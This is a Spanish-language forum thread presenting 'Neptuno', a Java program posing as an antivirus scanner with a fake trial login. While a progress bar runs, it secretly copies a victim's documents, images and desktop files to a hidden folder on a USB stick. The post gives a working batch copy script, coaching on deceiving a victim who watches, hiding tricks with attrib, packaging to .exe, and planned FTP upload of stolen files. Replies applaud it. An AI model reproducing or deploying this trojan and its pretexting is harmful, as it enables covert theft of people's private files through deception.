× Neptuno × Copia archivos de manera sigilosa

Iniciado por Mortal_Poison, Octubre 30, 2017, 02:13:28 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hola a tod@s,

Hace un par de días, un usuario del foro, publicó que requería copiar archivos de segundo plano con la condición de que el usuario no se diera cuenta y creyera que todo estaba normal. Me decidí hoy a crear ese programa con Java.

Creamos un archivo por lotes

Como la mayoría sabrá, los archivos con extensión .bat nos son útiles cuando queremos realizar procesos rápidos. Ahora bien, pueden realizar con el siguiente archivo que les dejaré, una conversión .bat a .exe y realizar la copia de una manera rápida.

A continuación, el archivo .bat que copia los archivos de determinado directorio a "X" carpeta.

Código: dos

@echo off
IF NOT EXIST ".\files\"%USERNAME% MD ".\files\"%USERNAME%

cd ".\files\"%USERNAME%

for /R %USERPROFILE%\Pictures\ %%x in (*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg) do copy "%%x" ".\"
for /R %USERPROFILE%\Documents\ %%x in (*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg) do copy "%%x" ".\"
for /R %USERPROFILE%\Desktop\ %%x in (*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg) do copy "%%x" ".\"

for /R %USERPROFILE%\Imagenes\ %%x in (*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg) do copy "%%x" ".\"
for /R %USERPROFILE%\Documentos\ %%x in (*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg) do copy "%%x" ".\"
for /R %USERPROFILE%\Escritorio\ %%x in (*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg) do copy "%%x" ".\"

EXIT


El ciclo for nos permitirá recorrer todo tipo de archivos con las extensiones que están en los paréntesis en la ruta indicada. Además, el %USERPROFILE% es el nombre de usuario de la máquina actual. /R nos sirve para listar los directorios pero también los directorios que están dentro de estos directorios(hagan de cuenta, tienen una carpeta dentro de otra).
Todo esto se copiará en una carpeta llamada "files", la cual vendrá ya creada en nuestra usb correspondiente.

Sin embargo, sabemos que la mejor manera de penetrar un sistema es por medio de las personas, son el eslabón más débil de la cadena.
Comenzaré explicando de qué va Neptuno.

Sin más preámbulo, les dejo lo que viene siendo Neptuno  :D.

¿Qué es Neptuno?

Es una herramienta que nos permitirá copiar en segundo plano cualquier archivo de nuestra 'víctima' sin que ella pueda notarlo tan fácilmente. Está desarrollado en Java y actualmente es la versión beta.

Requisitos para Neptuno:


  • La máquina debe tener Java.
  • Se debe poseer paths.txt y Files_copied de manera oculta donde se encuentra nuestro exe.


Características:


  • Copia archivos de la ruta que especifiquemos en nuestra archivo paths.txt oculto.
  • Realiza la barra de progreso para demostrar que está realizando un "escaneo".
  • La interfaz gráfica de usuario muestra un escaneador de archivos al usuario víctima.
  • Para mayor confiabilidad, permite copiar y pegar un archivo el cual será "escaneado".

Cabe aclarar que tiene muchas más pros, pero también muchas desventajas(las cuales iré modificando a lo largo de esta semana).

Comencemos viendo como es Neptuno(capturas de pantalla).


Ilustración 1. Login de Neptuno.


Ilustración 2. Neptuno Scanner.


Ilustración 3. About Neptuno.

En la ilustración 1. podemos dilucidar que poseemos un Login, el cual nos muestra que poseemos la versión TRIAL o DEMO y que tenemos aproximadamente 30 días para adquirir la versión completa. Además de eso, para ingresar, debemos registrarnos con nuestros datos como nombre, contraseña y email. Realicé esto con el fin de que la persona no sospeche que Neptuno es un Scanner falso y que lo único que va a hacer es extraerle la información de su computadora. Además de todo esto, también pensé en comprar un dominio como: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, para que se tuviera más confianza a la hora de hacer éste tipo de ataque. No lo hice porque no tenía balance, así que será para la próxima ocasión.

Siguiendo con nuestro programa, al presionar en "SignUp" será redireccionado a la pantalla de la Ilustración 2.
Una vez redireccionado, tendremos varias opciones a realizar, de las cuales seleccionaremos la más importante es la de Category. Cuando estamos en una computadora víctima y por cualquier razón logramos indicarle a la persona de que teníamos un escaner que era súper potente, éste, usualmente se parará atrás de nosotros para ver qué hacemos(a menos de que te tenga mucha confianza, no lo hará). En caso de que se haga atrás de ustedes con un bate  (;D) ustedes deben predisponerse para comentarle que el escaneo de tipo "Advanced" es el mejor y el que le encontrará la mayoría de Malware/Spyware/Adware/entre otras. Las otras opciones que son de "Privacy" y de "Select Target" únicamente son visuales, pues no repercuten en nada la copia de la información. Para que quede más claro, no importa si seleccionas el disco local "E:", "H", "J",... siempre la ruta será el disco local "C" donde se irá a copiar los arcivos. Claro está, lo complementamos con nuestro archivo paths.txt(ya lo veremos en los aspectos técnicos).

Básicamente, cuando se oprime click en "Scan" se muestra un mensaje pronosticando que el escaneo tardará un tiempo y que por favor se tenga paciencia. La barra de progreso está destinada por segundos hasta una hora.

Aspectos técnicos

Frame del Login

Su interfaz gráfica corresponde a diseño y a posicionamiento de los labels, además de que tiene el botón de "SignUp" el cual posee lo siguiente:


Ilustración 4. Evento cuando se oprime click en el botón.

Al darle click derecho en el botón de "SignUp" -> "Events" -> "Mouse" -> "MouseClicked" podemos notar que nos redirige a lo que sería el método del evento de click. Tenemos el siguiente fragmento de código:


Ilustración 5. Código que ocurre cuando se presiona click en el botón.

Simplemente con dispose(); indicamos que se cierre el frame actual, en éste caso, el de Login. Luego creamos un objeto llamado closeCurrentWindow de NeptunoScan(nuestro frame del Scanner) el cual luego de asignado, le enviamos .setVisible(true); para que se nos muestre el frame.

En el principio del código de nuestro Frame Login, tenemos nuestro constructor y bueno, básicamente lo que se hace en las siguientes líneas de código es llamar una imagen llamada "EyeNeptuno.png" y redimensionarla a nuestro gusto con el fin que no se pierda el aspecto. "EyeNeptuno.png" es ésta imagen:


Ilustración 6. Código para redimensionar la imagen.


Ilustración 7. Imagen redimensionada con el código anterior.


Frame de NeptunoScan

Aquí me extenderé un poco, ya que como sabrán, aquí es donde funciona toda la lógica para que la extracción de los archivos del equipo víctima, sea satisfactoria a un directorio de nuestra usb, por ejemplo.

En la interfaz gráfica de usuario de NeptunoScan, hagamos click derecho en el botón de "Scan" y luego nos vamos a "Events" -> "Action" -> "actionPerformed":


Ilustración 7. Evento que se genera al presionar click en Scan.


Ilustración 8. Código que está adentro del botón.

Notemos que hay un condicional, dicho condicional indica que si no se está ejecutando t, entonces que t debe comenzar(t.start). Pero se preguntarán qué es t, pues bien, t es de tipo Timer y es el que nos proporciona de cuántos en cuántos milisegundos/segundos debe avanzar nuestra barra de progreso. La línea de jProgressBar1.setIndeterminate(true); nos sirve para que la barra de progreso se muestre punteada.

Barra de progreso


Ilustración 9. Instacia de el Timer y del ActionListener.

Lo que está marcado en amarillo es en lo que se deben fijar. Sabiendo que tenemos ya definidas nuestras variables, procedemos en nuestro constructor a darle color de fondo y demás a nuestra barra y además, realizar una condicional que se basa en la lógica: "Si la barra de progreso es menor a 100, entonces obtenga el valor y súmele 10. Sino, entonces quiere decir que ya llegó a 100 y pare lo que está haciendo(t.stop)". Nuestro Timer lo definimos aquí, suministrando de cuánto en cuánto queremos que fluya nuestra progressbar. Recuerden que está en milisegundos, 1000 segundos sería un segundo.


Ilustración 10. Lógica de nuestra barra de progreso.

Método de copiar archivos

Siguiendo con nuestro código, si notan en el botón, aparte de la barra de progreso y su lógica, está la línea que es this.copy_all_files();. Esta línea nos permitirá llamar a nuestro método de copy_all_files, que se sitúa casi al tope de nuestra clase.


Ilustración 11. Método principal para copia de los archivos.

choice2 es la lista donde seleccionaremos el tipo de escaneo:

Ilustración 12. La lista de Category se llama Choice2.

Comprendido eso, lo primero que se hace es averiguar si existe el archivo de paths.txt(donde tenemos las rutas que se van a copiar). Éste, debe estar oculto, precisamente porque las personas generalmente poseen las carpetas sin la opción de "ver archivos ocultos".

Ahora bien, if (hide == true) , si el archivo está oculto, quiere decir que procedemos a realizar la copia de archivos. Sino, nos pondrá "Not file...". Cuando veas ese mensaje, recuerda que se te olvidó crear el archivo de paths.txt, así que deberás crearlo antes de llevarlo a la máquina víctima.

Luego de entrar a la condición de que el archivo esté oculto, simplemente se valida que si selecciona "Basic", "Medium" o "Advanced" deberá crear un objeto de métodos llamado obj.

Luego de eso, ejecutamos lo siguiente: Runtime.getRuntime().exec("attrib +H Files_copied");. De éste modo, podremos hacer que la carpeta de Files_copied esté siempre oculta, cabe recalcar que es ahí donde se pegaran todos los archivos de la máquina a la que le queremos copiar los archivos.

Luego de realizar ese paso, realizamos un ciclo for que va a iterar una colección llamada save_paths de tipo ArrayList.
Está declarado arriba y además, lo usamos en un método llamado readPaths(), éste, lo que hace es leer cada una de las líneas de nuestro archivo de texto(paths.txt) y próximamente lo guardará mediante un acumulador en nuestro ArrayList.


Ilustración 13. Nuestro archivo de paths.txt



Ilustración 14. Método que se encarga de leer nuestro archivo de texto y guardarlo en un ArrayList.

Ya conociendo qué es save_paths procedo a explicar lo siguiente del ciclo For.


Ilustración 15. Ciclo for usado para llamar a las clases de Metodos.

Creamos una variable llamada directory_copy_files de tipo File pasándole nuestra lista con cada uno de sus elementos(es decir, cada una de sus rutas) y luego de ello, hacemos uso del objeto de Metodos para llamar al método TravelToFantasy, el cual le pasamos dos argumentos de entrada. Los dos argumentos de entrada son: (argumento1:directorio a copiar, argumento2:directorio a enviar lo copiado).

Ahora, TravelToFantasy se encuentra en nuestra clase Metodos, veamos qué hay ahí.


Ilustración 16. Método TravelToFantasy de la clase Metodos

La lógica que está dentro de éste es, del directorio que le pasamos(argumento1), nos va a recorrer cada uno de los archivos que está contenido en él, y luego de ello, se le pasa a un nuevo método llamado CopyToFantasy que recibe esos dos argumentos de entrada.


Ilustración 17. Método CopyToFantasy de la clase Metodos

En éste método, recibimos los dos argumentos que nos han pasado y posteriormente, copiamos los archivos de la ruta que nos ha llegado(de lo que ha leído en paths.txt) a la carpeta de destino(Files_Copied).

La magia la hace la siguiente línea:

Files.copy(origenPath, conver_resolver, StandardCopyOption.REPLACE_EXISTING);

Comprendido eso, lo único que hace falta para que quede nuestra aplicación completa es, exportar a .jar y convertirlo a .exe.
Lo que hacemos es, damos click derecho en propiedades del proyecto -> Packaging -> Compress JAR File -> OK.


Ilustración 18. Exportando nuestra aplicación

También se debe configurar en Run el frame que se va a abrir al principio, en éste caso, es Login, por ello aparece NeptunoPackage.Login.


Ilustración 19. Exportando nuestra aplicación


Ahora seleccionamos nuestro proyecto y le damos en el martillo de construir.


Ilustración 20. Exportando nuestra aplicación




Y listo, en la carpeta de dist ya tendremos nuestra aplicación .jar.


Ilustración 21. Nuestra aplicación exportada.

Si abrimos nuestra aplicación .jar, notaremos que todo funciona correctamente, ya que se abre primeramente el Login y luego los demás frames.

Ilustración 22. Abriendo nuestra aplicación.

Lo que queda es convertir nuestra aplicación como les mencioné a un ejecutable.

Usaremos una aplicación llamada launch4j, la cual la podremos descargar del siguiente enlace:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

La abrimos, la instalamos y nos aparecerá la siguiente GUI:


Ilustración 23. Abriendo launch4j.

Output file: Seleccionaremos dónde queremos guardar nuestro .exe.
Jar: La aplicación que acabamos de generar.


Ilustración 24. Configuración de launch4j.

Antes de compilarlo, debemos hacer click en la pestaña "header" indicándole que va a ser "GUI".

Para finalizar, deben irse a la pestaña "JRE" y poner la versión mínima con la que se va a ejecutar, en este caso, es la 1.0.0.


Ilustración 25. Configuración de launch4j.

Ahora si le damos click en compilar.


Ilustración 26. Configuración de launch4j.

Y listo, ¡ya quedó! nos vamos a nuestra carpeta y podemos ver NeptunoCracked.exe que se creó correctamente. En launch4j también pueden cambiarle el icono si desean.


Ilustración 27. Aplicación convertida a .exe.

La carpeta de NeptunoCracked solo hace falta pasarla a nuestra USB y modificar el paths.txt, añadiéndole las rutas en español. El formato es como está ahí, es decir, si van a añadir la ruta de documentos, sería que pusieran: /documentos/ y nada más.


Ahora las preguntas

¿Por qué en Java y no en otro lenguaje?
Estadísticamente, las personas e incluso el sector empresarial tienen instalado Java. Pensé realizarlo en Python, pero vamos, es muchísimo más probable que nuestra víctima tenga Java instalado(generalmente desactualizado) a que posea Python y además, lo tenga en las variables de entorno.


Desventajas


  • Solo se pueden copiar archivos de la manera C:/users/usuariox/DIRECTORIO.
  • Si el usuario posee o activa la casilla de 'archivos ocultos', todo podría fracasar.
  • No es autoejecutable.

Dichas desventajas, en la próxima versión de Neptuno van a mejorar.


Contramedidas

Algunas medidas de precaución frente a este tipo de cosas es, poseer la casilla de archivos ocultos activada. Además de eso, en la próxima versión de Neptuno que suba, intentaré que dichos paths o la el folder, sean menos sospechosos, por ende, lo mejor es trabajar como usuario invitado(por lo de los permisos).


Por hacer


  • Realizar la pegada de archivos a un servidor vía ftp(aunque puede tardar mucho).
  • Intentar no levantar sospechas con los archivos ocultos.
  • Leer los paths en un servidor externo vía internet.
  • Autogenerador por si desean modificar una ruta, que lo adapte correctamente en el código.
  • Modificar más la interfaz gráfica de usuario, con animaciones.
  • Indicarle que también puede ser para sistemas operativos de Gnu/Linux y Mac OSX.


Aclaro de paso, esto está con fines éticos, bajo ninguna circunstancia VIINVIDEOSHD/VIINACADEMY ni Underc0de nos responsabilizamos del mal uso o daños causados por Neptuno.

El proyecto para su descarga y/o modificación de código conservando los derechos de autor lo pueden encontrar en el siguiente enlace:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pueden ver una demostración en la siguiente GIF, muy corta pero sustanciosa.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Cualquier duda/sugerencia/aporte será bienvenido.

Si poseen alguna duda del código, por favor en comentarios :).

Un saludo.
[/font]
Become the change you seek in the world. -Gandhi.


¡Aportazo!
Te ha quedado perfecto, espero que le sirva al compañero que lo pidió.

Te doy +1 por el gran trabajo que has hecho

Saludos

Hola No tienes permitido ver los links. Registrarse o Entrar a mi cuenta,

¡Muchas gracias! intenté hacer lo mejor posible, aunque sé que en el próximo release quedará mucho más robusto.

Un saludo.
Become the change you seek in the world. -Gandhi.


Noviembre 01, 2017, 06:57:47 AM #3 Ultima modificación: Noviembre 02, 2017, 01:44:40 AM por Gabriela

muchisimas gracias por tu tiempo y tu ayuda

No hay de qué, espero en esta semana sacar una versión más robusta de Neptuno  :D.

Saludos.
Become the change you seek in the world. -Gandhi.


al ver a sujetos como vos me inspiro!!

jajajaja es en serio, le vamos a meter a JAVA!!!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No hay de qué, espero en esta semana sacar una versión más robusta de Neptuno  :D.

Saludos.

Che mortal, no la había leído esta app.
Increíble, te felicito por lo tan bien explicado que esta :D
Pikaa~